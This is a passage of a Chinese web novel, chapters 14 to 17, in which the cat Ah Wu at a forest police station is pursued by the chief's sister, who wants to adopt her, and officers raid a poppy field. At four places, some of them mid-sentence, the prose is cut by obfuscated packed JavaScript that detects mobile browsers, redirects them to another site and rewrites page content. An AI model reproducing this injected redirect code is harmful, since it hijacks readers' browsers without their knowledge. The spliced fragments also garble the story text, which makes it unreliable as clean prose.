听见脚步声,边星遥回头:“教导员回来了?” 舒瀚海点头:“嗯,所长,事弄清楚了。” 他将阿五递给边星遥,又冲着屋内已经起身走到门口的两人打招呼:“阿姨,星澄,照顾不周,抱歉。” 边星遥将阿五放进床尾的窝里:“妈,星澄,我出去一下。” 林天月赶忙道:“哪有照顾不周。你们有事就去忙,不用管我们。” 边星澄也点点头。 两人离开。 房间安静下来。 阿五趴在窝里,打量着房内的两人。 她们就是所长的妈妈和妹妹吗? 好高! 这是阿五对边星澄的初印象。 边星澄和所长差不多高,就矮了门框子一点点。她穿着白色长袖上衣、及脚踝的蓝色裙子和白鞋子,梳着及腰的马尾辫,打扮得很秀气。 她的脸上不太有表情,瞧着冷冷淡淡的,站在门口目送哥哥离开。 林天月则是穿着格子衬衫和黑裤子,烫着一头卷发,瞧着很干练。她转身坐回书桌前,低头去看阿五:“这就是星遥说的小猫吧?怎么包成这样,怪可怜的。” 阿五的目光越过林天月,对上了转身的边星澄。 不知为什么,阿五忽然抖了抖。 “哎?这小猫怎么发抖了,太冷了?”林天月从兜里掏出条花纹手帕,打算给阿五盖上。 边星澄的嘴角微微上翘:“这么热的天,怎么会冷呢,可能是有点害怕陌生人吧。” 阿五看着她走到自己身旁,蹲下身慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201086|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢将手伸了过来。 没有攻击性,但有淡淡的花香味。阿五目光下移,在边星澄的衣领纽扣处,看见了一朵洁白的小花,香味就是从那上面散发出来的。 边星澄将阿五的前爪轻轻抬起。 阿五索性站起身,就见边星澄的目光死死瞪着她的脖子,脸上是显而易见的震惊,还将手伸了过来。 “喵!”阿五将她的手拍开。 不准碰我的吊坠! 边星澄收回手,脸上的表情也立刻收住,又变得平静。 “妈妈,你觉得它可不可爱?”边星澄忽然开口。 林天月因边星澄一直垂着头,因此没瞧见她的脸色,只是以为她的女儿在逗猫:“挺可爱的。” “那我们收养它好不好?” “喵?”阿五瞪圆了眼。 林天月蹙了眉。 “我第一眼看见它,就觉得我们很投缘。妈妈你答应过我的,可以养一只小动物,就它了行不行?” “这是星遥所里的猫,你怎么收养?”林天月不赞同,“况且你还要从三江带回拓东,猫怎么上火车?” 边星澄没有回答,看起来在思考。 林天月道:“像这样的猫,拓东肯定有。” “可我就想要这一只,别的猫都不是它。”边星澄语气坚决。 林天月板着脸:“你决定了?” 边星澄抬起脸:“是的,妈妈,我决定了。” 林天月刚想说什么,边星遥走了进来:“决定什么?” 阿五赶忙告状,气呼呼地大声道:“喵喵喵!!” 所长,你妹妹要把我带走! “哥。”边星澄等阿五喵完,站起身问道,“我能不能收养你这只猫?” 边星遥看了眼阿五,犹豫着没说话。 啊?阿五不解地瞪着所长,你为何不说话? 林天月没好气:“她在胡闹,别理她。” 边星遥到底还是摇了头:“不行,它现在受着伤,你从这里带回拓东,不现实,况且小猫还有事。” 阿五满意了。 边星澄沉默。 “咳。”林天月微笑着安慰女儿,“好啦,等回去妈妈给你找一只一样的。” 边星澄瞧了眼妈妈,没说好,也没说不好,而是转移了话题:“哥,你还没给它取名吗?” “还没有,它脖子上带着吊坠,应该是有主人的,只是一直没找到。”边星遥又道,“不过有个小女孩叫它嗷呜。” “嗷呜?” 边星遥笑笑:“小女孩问它说叫什么名字,小猫说嗷呜,所以就这么叫了,我觉得就这么叫也行。” 边星澄忽地笑了。 阿五眨眨眼。 她慢条斯理道:“哥,你不觉得这个名字有点拗口吗?可能小猫说的不是嗷呜,是啊呜,或者阿五?” 阿五倏忽间抬头,死死盯着边星澄。 边星澄说着又蹲下了身:“来,这三个名字,你选哪一个呢?” “嗷呜。”她道。 阿五没有回应。 “啊呜。”她微笑着。 沉默。 “阿五。” 阿五张了嘴:“喵。” 边星澄笑着抬头:“妈妈,哥,你们看,叫阿五它才会回应呢,我是不是很懂它?” 14.第 14 章 边星遥的目光划过妹妹,停在了小猫身上:“阿五?” “……”阿五转过脑袋,“喵。” 宿舍中沉默而诡异的气氛,渐渐将阿五的两只耳朵压在了脑袋上。 阿五慢慢退到了窝的角落,上下打量着边星澄。 她在家中排行第五,且她出生时,总是生病,曾有郎中断言她活不到成年,因此那时阿娘只给她取了一个叫“阿五”的小名,而未取大名。 后来有了玉坠,阿五不再生病。长大一点后她曾问过阿娘,为何她的名字和阿兄阿姊都不一样。 阿娘就说,这是小名,等到阿五十岁生辰,再正式给她起个大名。 因此阿五总是期盼着她能快快长大,尤其憧憬十岁生辰。 可惜她没能长到十岁,也没能等到自己正式的名字。 不过只要一家人在一起,阿五想,她可以一直叫阿五。 “哥,我可以在三江县住一段时间,直到阿五把伤养好,该做的事做完。”边星澄伸手碰碰阿五,“至于将阿五带去春东,这件事也不难。我已经拿到了驾照,车技还不错。我会去租一辆车,开到春东。” 林天月站起身:“你疯了?从这里开到春东,你知道要多久吗?而且晚上去哪里过夜?你一个女孩子,多危险!” 边星遥困惑地看着妹妹,暂时没开口,他完全不能理解妹妹对阿五的执着。 阿五也不明白,她觉得边星澄像个迷。 她能感觉到,边星澄对她是没有恶意的,好像只是单纯想带她离开这里。 边星澄平静地和林天月对视:“不到五百公里,也就两天。” 林天月深呼吸,抬手捂着额头,转身出了门。 她不想和女儿在儿子的派出所里吵起来,这很不礼貌。 边星澄这个态度,让她想起了她们母女唯一一次吵架的经历。 除了那一次,边星澄从来都是妈妈说什么,她做什么,完全不会和她唱反调。 她知道的,星澄不喜欢留长发,但因为她要求星澄这么做,所以星澄就会留。 她想让星澄长大之后当老师,所以星澄考了师范大学。今年已经毕业,等9月份就可以入职去教书了。 总之无论她说什么,星澄永远都会说好。 想到这里,林天月的心又有一些软了。 不过是只猫而已,想养就养吧。 屋内,边星遥将妹妹拉起来,直视她的眼:“你为什么一定要领养这只?” “……”边星澄垂下眼,避开哥哥的视线,“眼缘。” “不准说瞎话。”边星遥语气有些严厉,“还有,看着我的眼睛说。” 边星澄退后一步:“哥,我不是你的犯人。之前我说要领养阿五的时候,你并没有第一时间反对,为什么?” 阿五蹲坐在地上,瞪着大眼看两人交锋。 阿五想,如果她会说话,她一定会跳起来大声说:“不要吵了,我是不会离开的。等我伤好了,我立刻回林子里!” 边星遥无奈地笑了:“我问你还是你问我?” “我回答了你的问题,只是你不信而已。” “好吧,因为小猫,哦对了,应该叫阿五。”边星遥低头,“我捡到阿五后,它好像挺多灾多难的,所以我寻思找户人家领养它,可能会对它更好一点。” 阿五一愣。 可是她受伤,完全是她自己的问题,与边星遥无关。 边星澄语气更加坚定:“所以我是最好的选择,你对我知根知底,我保证会把阿五养得很好。” 林天月在门口听了半天。 边星澄余光瞄到了妈妈,见边星遥已经动摇,赶忙走到门口,拉起林天月的手:“妈妈,求你了,我保证路上每到一个地方,就给你打电话报备。” 林天月叹着气,摇头:“我不会允许你一个人开车的,我实在不放心。” 边星澄思考还有什么办法可以说服林天月。 “但是我在旁边就可以。” 边星澄怔住了:“妈妈,你是说你和我一起开车带阿五回拓东?可是你的工作?” 为了来三江看望边星遥,林天月和单位商量后,上个月直接没休息,攒了八天假期。 林天月道:“星遥,你说阿五还有事情,四天够不够办完?它的伤可以回春东养。” “可能不太行。”边星遥道,“保守估计也得半个月。” 阿五一听这话,安心地趴回了窝里。 半个月,那她的爪子早就好啦,谁也困不住她。 “妈妈,那不行的。”边星澄劝道,“你真的不用担心,我一个人可以的。” “哼,我不担心谁担心?”林天月稍作思索,指指边星遥,“行了,那你么,我看也看过了。过得也算好,我明天就回春东,早点销假,到时候我再请假过来。” 边星遥忽的头很痛:“妈?” “你们不要说了,我决定的事,谁劝也没用。” “所长!阿姨,星澄,吃饭了。”舒瀚海笑容满面地出现在了门口。 马自平在舒瀚海身后,也赶紧喊人。他多做了一点万里的晚饭,分出一些给阿五送了来。 等人都走了,房间又恢复了安静。 阿五吃完饭,双爪按着吊坠,仰躺在窝里。 也不知道秀秀和阿雅姐姐吃饭了吗。 昨日的此刻,她们还在一块。一天过去,居然发生了这么多事。 她的爪子应该三五天就好了,到时候她就自己去医院,在外头瞧瞧情况。 想着想着,阿五的眼皮越来越重,迷迷糊糊间就睡了过去。 她的神经紧绷了一天,直到此刻躺在了熟悉的地方,才彻底松懈。 阿五睡得很沉,甚至没听见所长是何时回来的。 直到第二天清晨,阿五闻见了水煮蛋的香味,这才睁开了眼。 边星遥正在阿五的窝边蹲着,将水煮蛋掰成小块放在碗里,方便阿五入口。 阿五舒展开四肢,爪爪开了花,又张开嘴打了个大大的哈欠,这才翻身起床。 边星遥笑眯眯,时隔两天又在清晨看见了这个场面,还挺温馨:“起床啦?蛋还有点烫,等会吃啊。” 他摸了摸阿五的脑袋,起身拿上帽子,就离开了房间。 阿五站在窝里晃晃全身的毛,又拉伸了四肢,这才凑过去吃饭。 阿五的生活又恢复了平静。 唯一不同的是,送走林天月后,边星澄于森林派出所所在的林湾村租了一间房住了下来,每天都会来找阿五培养感情。 阿五不太想靠近边星澄。 她觉得边星澄特别像起大雾时候的森林,明明林子就在眼前,却模模糊糊,看不透。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206703|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且每次边星澄的目光落在她身上的时候,阿五就觉得浑身的毛毛都不见了,为此她甚至有点害怕边星澄。 边星澄自然也能感受到阿五对她的疏离态度,可她管不了那么多。 只要阿五还在森林派出所一日,她就一日不安心。 每天只有边星澄讲故事的时候,阿五才会在窝里端正地坐着听。 否则她会立刻去睡觉,将整个身子藏进被子里,连一根毛毛也不会在边星澄面前露出来。 反正对于一只猫来讲,白天睡觉,天经地义。 “阿五,你不喜欢星澄吗?” 夜晚,边星遥躺在床上,思及阿五和妹妹相处的画面,忍不住念叨。 “喵~” 也没有不喜欢。 “强扭的瓜不甜,要不然还是给你另找一户人家吧。” “喵。” 不要。 阿五翻身,将爪子放在眼前细细地看,她爪子上的纱布已经拆掉了。 “这样吧,你不想和星澄一块去春东,就喵两声。” 边星遥突发奇想。 “喵喵~” 边星遥翻身而起。 阿五有点点心虚,又叫了两声:“喵喵~” “……”真是疑神疑鬼了,边星遥摇摇头,又躺回了床上。 阿五的爪子好了之后,她忽然发现边星澄盯她盯得很紧。 早上所长一起床,边星澄就来了。 阿五出门,边星澄也在她后头跟着。 阿五当然能够不管不顾地将边星澄甩掉,她也的确这么干过一次。 可当她藏在树冠里,望着边星澄焦急寻找她的模样时,心里又有些不舒服,只能装作若无其事地从她眼前跑过去,被她发现。 那一次,从边星澄身上,除了焦虑,阿五还嗅到了恐惧的味道。 一种很不好闻,让猫闻了就炸毛的味。 阿五蹲坐在窝里,瞧着坐在书桌前的边星澄,深深叹了口气。 本来阿五打算去一趟医院,可医院离这里很远。要是她自个一只猫,当然可以在山里或者道旁过夜,可是边星澄一定会跟着她,总不能让她也在山里过夜吧? 阿五苦恼地摔了下尾巴。 不过今天的边星澄,闻起来有点悲伤。 阿五疑惑地端详着边星澄,琢磨了一会,跳上了桌子。 边星澄的目光从书架收回,落在阿五身上。 拖着尾巴的阿五在书架边转了转,这里有好多书,她没看清边星澄看的是哪本。 “阿五,你跟我去春东吧。” “喵!” 阿五嗅了嗅每本书的味道,头都不抬,马上拒绝。 “我不会限制你的自由的。”边星澄凝视着阿五,“你去了春东,想出去玩就出去玩。” 阿五动动耳朵,很不屑,她在这里一直就很自由。 “想听故事,我下班了就回来给你讲,我哥哥他们都很忙。” “我猫饭做得也不错,可以每天都做给你吃。” “每周末或者放假的时候,我可以带你出去玩。你见过特别大的湖吗,我们可以在上面坐船哦,还有花海,雪山。” 阿五没见过。 因此阿五有点心动了。 她抬起头对上了边星澄的目光,竟然从这目光里看见了哀求。 15.第 15 章 对着这样的目光,阿五不知为什么,当场炸了毛。 她突然跳起来,转身就跑,好像身后有八百只花斑大猫在追。 只是一转眼工夫,阿五就消失在了边星澄视线里。 阿五一口气跑进了山,身后并没有人追来。 她有些不敢相信,爬上树望了望远方,的确无人。 阿五如释重负,却又有点提心吊胆地下了树,决心这两日先在山里躲着。 昨夜所长没有回来,说是这几天大概都不回来了。所里的人也走了七七八八,勾得万里都不耐烦在宅院里待着,一心想往外跑。 不知不觉间,阿五爬上山,来到了林子里一座简陋的小木屋外。 万里正在屋外的地上蹲着,严肃地盯着阿五。 阿五微微一怔,她第一次来小木屋,正是跟着坠崖后满身伤的万里来的。 万里的腿伤还没有彻底恢复,这怎么就上山了呢?阿五不明就里地走到了万里身边坐下。 万里很满意地低头嗅嗅小猫,还抬起前爪,碰碰小猫以示安抚。 不远处,朦胧的晨雾中正有两人从山上下来。其中一人是边星遥,另外一位则是刘志雄。 两人的衣服都脏兮兮的,裤脚也湿漉漉的,像是刚在泥地里打了滚。 刘志雄走在前面,脸色疲惫,脸还有点肿,像是一晚上没睡。他路过万里和阿五,抬手朝一大一小两只打了个招呼,累得一句话没说,迅速钻进了木屋。 阿五发现他的手指也有些肿胀。 紧随其后的边星遥脸色稍好一些,蹲在万里和阿五身边,微笑着挨个摸了摸,接着也进了屋。 所长的脸和手倒是不肿。 阿五盯着木屋紧闭的门。 万里则扫视着四周,两只竖立的毛耳朵不时动动,森林中微有动静,它的目光就已如利剑一样射向了响动处。 过了好一会儿,有两个警察从小木屋里走出,跟着的是垂头丧气的马自平,他们分道扬镳,一路往往山中去了,而马自平带着万里离开了。 阿五瞧了眼,马自平和万里走的是下山的路,很明显,是回派出所,她马上就熄了跟着一块走的心思。 接下来,小木屋又陆续走出了舒瀚海和其余几个警察,看样子又要去巡山了,阿五也不明白这不大的小木屋是怎么装下这许多人的。 她仔细听了屋内的声音,只剩下了边星遥和刘志雄两人均匀的呼吸声,已然是睡着了。 阿五拖着尾巴在门口转了几圈,寻了块略微干净些的地方,也趴下睡了。 屋内一有动静,阿五就抬起了脑袋。 门被打开,刘志雄走了出来,他看见阿五一愣:“阿五你还在这里啊。” 阿五瞧了他一眼,站起身大摇大摆地进了屋。 屋内边星遥也醒了,头发像个鸟窝,衣服倒算是平整。他身旁的火塘上架着一只黑乎乎的小锅,地上放着一大盆洗干净了的绿叶菜。 小木屋内亮着灯,充斥着潮湿的味道,很闷热。有两张布铺在地上,看形状,边星遥和刘志雄刚从上头起来,角落里还堆着几个锅、盆和小凳子。 边星遥坐在小马扎上瞥了眼阿五,笑眯眯的:“阿五,你是被星澄吓得不敢下山了吗?” “喵呜。” 是啊。 阿五朝边星遥走去,垂着耳朵蹲坐在他身旁。 风顺着门洞吹进屋内,穿过墙上的窗,带着屋内的热气进入了森林,留下了几分凉意。 “哎。”边星遥伸手抚抚阿五的背毛,“等忙完这阵,我再去劝劝啊。” 阿五想了想边星澄的态度,斜着眼不信任地瞧着边星遥。 刘志雄回了屋:“劝啥?” 边星遥道:“就是我妹妹想领养阿五那事。” “跟着你妹妹回去当家猫有什么不好的?”刘志雄在门口坐下来,眯着眼睛感受风吹过时带来的片刻凉爽。 “子非鱼,安知鱼之乐啊。” 刘志雄沉默了一瞬,似乎想到了自己,伸手理了理自个的头发,过了好一会才接道:“猫哪懂这个,到时候去住几天就适应了。” 边星澄目光忧虑地盯着刘志雄的手,再抬脸时笑了笑:“说不定确实是这样。” 锅里的水开了,边星澄将菜下锅,用筷子将水面上的菜压了压。 “老刘,快来,能吃了。” 刘志雄将小马扎搬到火塘边,拿起碗,往里倒了点酱油,又倒了许多辣椒粉,蘸水煮菜吃。 阿五去看他的手,发现他握筷子的姿势有点僵硬。 边星遥也倒了许多辣椒粉,呛地咳了两声。他捞起一筷子菜,先低头对阿五道:“阿五,你吃吗?” 阿五毫无食欲,将头埋进了爪子里。 边星遥哈哈一笑,自己大口吃了。 两人就这么就着锅,一边涮一边吃。 阿五很想出去给他们抓只兔子或鸡,可惜他们不吃林子里的动物。她叹了口气,站起身出去觅食了。 虽然她的爪子还没长好,但夏季的雨林食物充沛。不到一下午的工夫,阿五就将肚子填得饱饱的。 夕阳西下,阳光将天上的云彩染得又红又粉。 阿五仰着脑袋一直看,慢悠悠地回到了小木屋。 边星遥和刘志雄正在门口整理着装,舒瀚海正在与他们二人说着什么。 听声音,屋内还有好些人。 阿五思忖了一会,躲在了道旁的草堆里,没有过去。 边星遥和刘志雄往山上走去,等他们的身影消失在了暮色中,阿五才甩甩尾巴,循着味道跟了上去。 林子里永远都是湿漉漉的。 茂盛的草木,蚊虫随处出没,边星遥和刘志雄速度很快,目的地也挺明确。他们攀爬过一座山头,下到半山腰后在四周略瞧了瞧,就找了个地方隐蔽了起来。 若不是阿五能闻见味,一时还找不到两人的所在。 此刻夜色已笼罩了整片雨林。 阿五索性上了树。 鉴于她的指甲还没长好,上树颇有些费劲,到底发出了些声响,引起了两人的注意。 只不过这声音一听就是小动物发出的,因此边星遥和刘志雄没有过多关注。 阿五经过一番折腾,有惊无险地上了树,隐在了树冠里。 树下的两人几无动静,只偶尔传来衣服的摩擦声。 阿五躺在树干上,用尾巴赶蚊虫。 她想不通,人为什么要在这种地方待一晚上?这地方连猫都不想待。 但她想想比这地方还可怕的边星澄,随爪拍死了几只小飞虫,心情平和地待在了树干上。 夜色越来越深,天空中挂满了一闪一闪的星子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230195|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿五想着迈叔,想着秀秀,在树上不知不觉地睡着了。 林子里忽然传来了一点动静。 不是动物的。 阿五从树上翻身而起,往山下的地方望去。 如此深夜,有人上山? 所长和老刘就是为了等这人吧。 阿五思量再三,没有贸然发声,也没有下树。 有时也许没有必要做多余的事情,特别是在这种时刻,况且树下的两人根本就没有睡。 阿五蹲坐在树干上,专注着听着林子里的动静。 过了许久,窸窸窣窣的走路声逐渐靠近,这声音连边星遥和刘志雄也清晰可闻。他们藏在灌木中,连呼吸声都放缓了。 两道光线鬼鬼祟祟地在周围绕了两圈。 “快到了!”这声音很低,很轻,但很惊喜。 “嗯。”回应得更是声若蚊蝇,轻不可闻。 是两个男人。 到哪?到这?阿五忍不住左左右右地打量,完全没瞧出这附近有什么值得半夜来的地。 两人做贼似地猫着腰,慢慢靠近了一片已结果的田地。 “到了到了,果子还挺多!” “赶紧赶紧。” 两人随即干起了农活。 又是两个奇怪的人。 阿五没再看二人,而是又望着山下。又有人上山来了,人数还不少。 这群人手脚更轻,更利落,几乎没有引起在收割的两人任何注意,就已经摸到了近前,只不过没有所长和老刘近。 阿五已经闻到了熟悉的味道,是所里的人。 此时,边星遥和刘志雄忽地从原地跳了起来,两道光线射出,将地里的两人照了个正着。 “不准动!” 边星遥和刘志雄大喝。 阿五飞身下树。 其余警察们闻声而动,林子里脚步声、喊叫声响成一团,十分热闹。 地里的两人愣了一瞬,起身就逃。 刘志雄和边星遥各追一人。 阿五没有犹豫,直奔老刘追的人而去,飞快地穿梭在草木间。 “滚开!”不远处传来另一人心虚地喝叫,“不然我就砍死你!” 阿五转弯,朝着迎面奔来的人就是一个起跳,狠狠撞上了对方的胸膛。 “啊!” 这人猝不及防被一不明生物撞了,摔在地上吓地大叫。 刘志雄赶到,弯腰将对方丢在地上的镰刀扔到一旁。地上的人一骨碌爬起就跑,刘志雄赶忙扑了上去,两人扭打在了一块。 阿五在一旁转来转去。 这人无法摆脱刘志雄的纠缠,听着越来越近的脚步声,眼神一厉,伸手就想去掏小腿上的刀。 刘志雄立刻去抓对方的手,手指却忽然间无法弯曲。他心中一急,却听身前人发出了惨叫。 “啊!” 刘志雄一喜,立刻将男人按在了地上,此时其余警察也赶到了,七手八脚地帮着刘志雄将地上的嫌疑人控制了起来。 天色依旧浓黑如墨,这一小片天地却亮如白昼。 手上带着咬痕的人愤恨地盯着不远处的小猫,像是恨不得冲过去一口将阿五咬死。 阿五恍若未觉。 毕竟她现在能跑能跳,而发出这样目光的人,却双手背身,蹲在地上动弹不得。 16.第 16 章 一大片像小瓦罐似的绿色果子散落在地上,边星遥正带着人清点。 果子传来了淡淡的香味和涩味,阿五有些纳闷,闻着倒也没什么特别,但种这东西竟然会被抓? “咔咔咔。” 一阵快门声和爆闪的白光闪得阿五睁不开眼,她连忙转身背向那拿着黑色东西的警察。 手上带着咬痕的人还在狠狠瞪着阿五。 阿五打了个哈欠,抬起爪子舔了舔,忽地起身冲过去对着他的方块脸就是一巴掌。 这年轻的方块脸登时愣住了,脸上立刻浮现了几道爪痕。 他身旁蹲着的中年人见阿五往他面前过来了,下意识就想站起来,被身后的警察往下一压:“老实点!” 方块脸的脸色涨得通红,气得眉毛都竖了起来:“我要告你们!” 他身后的警察忍着笑,翻了个白眼,压着方块脸不让他乱动。 围着果子的警察们往后瞧了瞧,不知这人发什么神经。 “你们他妈的让猫打我?” “虐待犯人!妈的!放开我!” 方块脸挣扎着,恼羞成怒地大骂。 阿五眯着眼,有些遗憾刚才打他时应该用后爪,后爪的指甲更长些。 刘志雄烦躁地起身,大步走向方块脸,冷冷呵斥:“你给我闭嘴,小小年纪满嘴脏话,为什么就打你不打别人?你有没有想过你自己的问题?连猫都嫌!” 一时间现场鸦雀无声,阿五眨巴着眼。 中年人却忽地喊起了冤枉:“官爷啊,我种这个都是被他忽悠的。他跟我说这个东西既可以治病,又可以炒菜吃,好多人都想要。他一个人运不动,我才来帮忙的。” 现场众人又动了起来,继续该干什么干什么。 年轻人又想窜起来去打中年人,被身后的警察及时压住。 刘志雄硬邦邦地对中年人道:“有什么话等会去所里讲。” “哦,哦。”中年人害怕地瞅着年轻人和舔着爪子的阿五,靠近了身后的警察。 等一行人下了山,黑夜已经过去,一轮红红的圆日在山尖露出了脸。 警察们迎着朝阳走在路上,脸上洋溢着一丝满足之色,脚步也变得轻快。 双手被一双银镯子铐住的两人,脚却恨不得粘在地上。每往山下多走一步,脸色就变得更青更白。 阿五的四只小脚也浑似戴上了十斤镣铐。 她本不想下山的。 奈何听见了所长和指导员说话,谈及迈叔大概这两天就要出院了。 走进派出所前,阿五躲在大门边往院子里瞅了瞅,见四下都没有边星澄的踪迹,这才踏进了门。 一股香味从灶房传出,飘散在空中。阿五闻着这味道,肚子咕噜噜地响起。 嘶,忘了在山里填饱肚子再回来了。 阿五这么想着,却好奇地靠近了灶房,马自平做什么好吃的呢?和他平常煮的饭不大一样啊。 刚到门口,阿五浑身一震,转身就跑。 喵嗷!是边星澄! 迎面而来的边星遥弯腰将阿五一把捞起,瞧着阿五的飞机耳笑了笑,安抚地轻拍着猫背:“好了好了,我在,不要害怕。” 刘志雄也在一旁,脸色古怪地瞅着阿五:“不至于被你妹妹吓成这个样子吧。” 边星遥深深叹了口气。 此时,边星澄从门边探出脑袋:“哥,刘哥,早饭好了。” 边星遥笑着:“好,来了。” 边星澄说自己做饭好吃,不是吹嘘。 阿五蹲在小马扎上,吃得头也不抬。 碗里是炖得入味而酥烂的肉,新鲜的韭菜铺在一旁,佐着几根米白色的软糯饵丝。 阿五小碗,其余人大碗。 边星澄从阿五跑掉之后,在房间里冷静了许久,就出门去买肉了。 随着肉慢慢地炖熟,她的焦躁和担心也缓缓平息,压入了心底,而她的决心也变得更坚定。 她的选择也许有错,但对于她的家人来说,却是最好的。 从这顿早饭后,边星澄暂时承包了所里的食堂。本来众人都是随便煮点东西吃,能吃饱就行,这下子不仅能吃饱,还能吃得特别好。 加上所里盯了许久的罂粟花田的案子破了,大家一时间都变得喜气洋洋。 阿五从众人的聊天中得知,那个被她咬了的方块脸起码也要在牢里蹲上五年。 她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232643|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由得有些愕然,原来种那东西这么严重,难怪他们逃跑时都那么拼命。 而更令她惊讶的是,原来令梅文发疯砍伤迈叔的毒品,就是这种形状像罐子一般不起眼的果子做的。 阿五忽然觉得蹲五年也太便宜方块脸了! 她气呼呼地回了边星遥房间。 房门关着,阿五跳起,从开着的窗户处进了房间。她刚钻出窗帘,却发现房内除了边星遥,刘志雄和舒瀚海也在。 三人瞧了阿五一眼,继续说话。 舒瀚海板着脸:“老刘,为什么一定要辞职?我可以向上头打报告,调你去别的岗位。” 刘志雄摇头道:“没必要,我已经决定了。” 拿着封信的边星遥叹了口气:“太要强也不好啊。” “我在这里已经没有用了,只会拖后腿。”刘志雄看向阿五,又瞧着自己的手和腿,眼中充满了无可奈何的悲凉,“而且我的家庭需要我。” 阿五瞅着老刘,他要走? 阿五想了想,原路返回,又跳出窗台,离开了边星遥房间。 她站在院子里,看见边星澄正在不远处的树下看书。这几日她并不如之前一般,寸步不离地守着阿五,因此阿五的日子又恢复了平静,也不再像躲瘟疫一般绕着边星澄走了。 但阿五知道,边星澄还是没有放弃带她离开。 阿五悄悄绕着边星澄转了两圈,眼光一直瞥着她的书。 天上白云悠悠,阿五三两下爬上了树,在最矮的枝条上趴下,垂下一根毛毛尾巴,悬在边星澄头顶。 密密麻麻的方块字挤进阿五双眼,她一个也不认得。 坐着认真看书的边星澄却忽然出了声:“在地球的另一边,有一个动物王国名叫荣耀王国……” 地球还有另一边?不对,地球是什么球? 阿五疑惑。 但听着听着,阿五就入了迷。 “……辛巴逃走了。”边星澄阖上手里很久没翻动的书,抬头望了望天色,“阳光太刺眼了,眼睛疼,回去了。” 她起身拍拍裙子,旋即头也不回的大步离开了。 阿五趴在树枝上,望着边星澄离去的身影,眼睛慢慢睁大。 17.第 17 章 小猫的好奇心很重,小孩也一样。 又是小猫,同时还是个小孩的阿五,更是经不起诱惑。 没过几天,阿五就因为贪恋故事结局,从跟着边星澄回租的老房子里,到睡在了边星澄房间里。 房东是一位精神矍铄,浑身上下收拾得很干净的老奶奶,见到阿五后就叮嘱边星澄,要看好小猫,不能将房间里的家具挠坏,否则要赔钱。也不能让猫上床,不然床单被套沾了猫毛不好洗。 边星澄瞧阿五本来仰着脑袋蹲坐在垫了软垫的凳子上,听见奶奶的话后,老老实实下了凳子站在房间地上,还直起身去仔细瞧软垫上有没有沾猫毛,嘴角不由得掠过一丝笑意。 她一一应了老奶奶的话后,又低头拉着对方出了门,这门对于边星澄来说实在有点矮。 不一会,阿五就发现边星澄抱了个破脸盆回来。 脸盆虽破,却很干净。 她将盆放在床头地板上,将里头五颜六色的碎布掖平整,这才把着脸盆边缘道:“阿五,进来试试你的新窝?” 阿五刚把前爪放进盆里,老奶奶从门边探出了个头:“小娃娃,你这猫能不能抓老鼠啊?家里最近两个月突然多了老鼠,好多东西都被咬坏了。” 边星澄和阿五对视一眼。 阿五有些心虚地将爪爪从盆里收回来,不会是派出所周围的老鼠都跑到村里来了吧? 边星澄道:“最近阿五的爪子受伤了,可能不太方便抓老鼠,晚点我去小卖部买点粘鼠板试试?” “哦,这样啊。”房东奶奶点点头,站在门口没走。 “奶奶,还有事吗?” “你喝不喝酸角水?” 边星澄沉吟两秒:“要钱吗奶奶?” “……两毛一壶。”房东奶奶嗫嚅着补充,“冰镇过的。” 月光,星光,灯光。 它们亮亮地照着小院,将院中高大茂盛的樟树树影印了在地上。 地上种着好些花草,清香味沁人心脾。 边星澄躺在院中的竹子躺椅上,望着夜空,喝着凉丝丝的酸角水,惬意地眯着眼。 房东奶奶则躺在另一张躺椅上,也喝着同一壶酸角水,还不停地和边星澄说着话。 她孝顺却忙碌不归家的儿女,村里独她一户才有的家电等等。 阿五则在客厅里,围着盖着块白色蕾丝布的电冰箱打转。 这个柜子一样的物件,竟能凭空散发凉气! 好神奇! “阿五?”边星澄呼唤,“来尝尝酸角水。” 房东奶奶忍不住坐了起来:“这可是两毛一壶的水!” “我知道啊。”边星澄倒了一点点水在掌心,喂给从屋内蹿出,跳上躺椅的阿五。 又酸又甜,还凉丝丝的。 阿五眼前一亮。 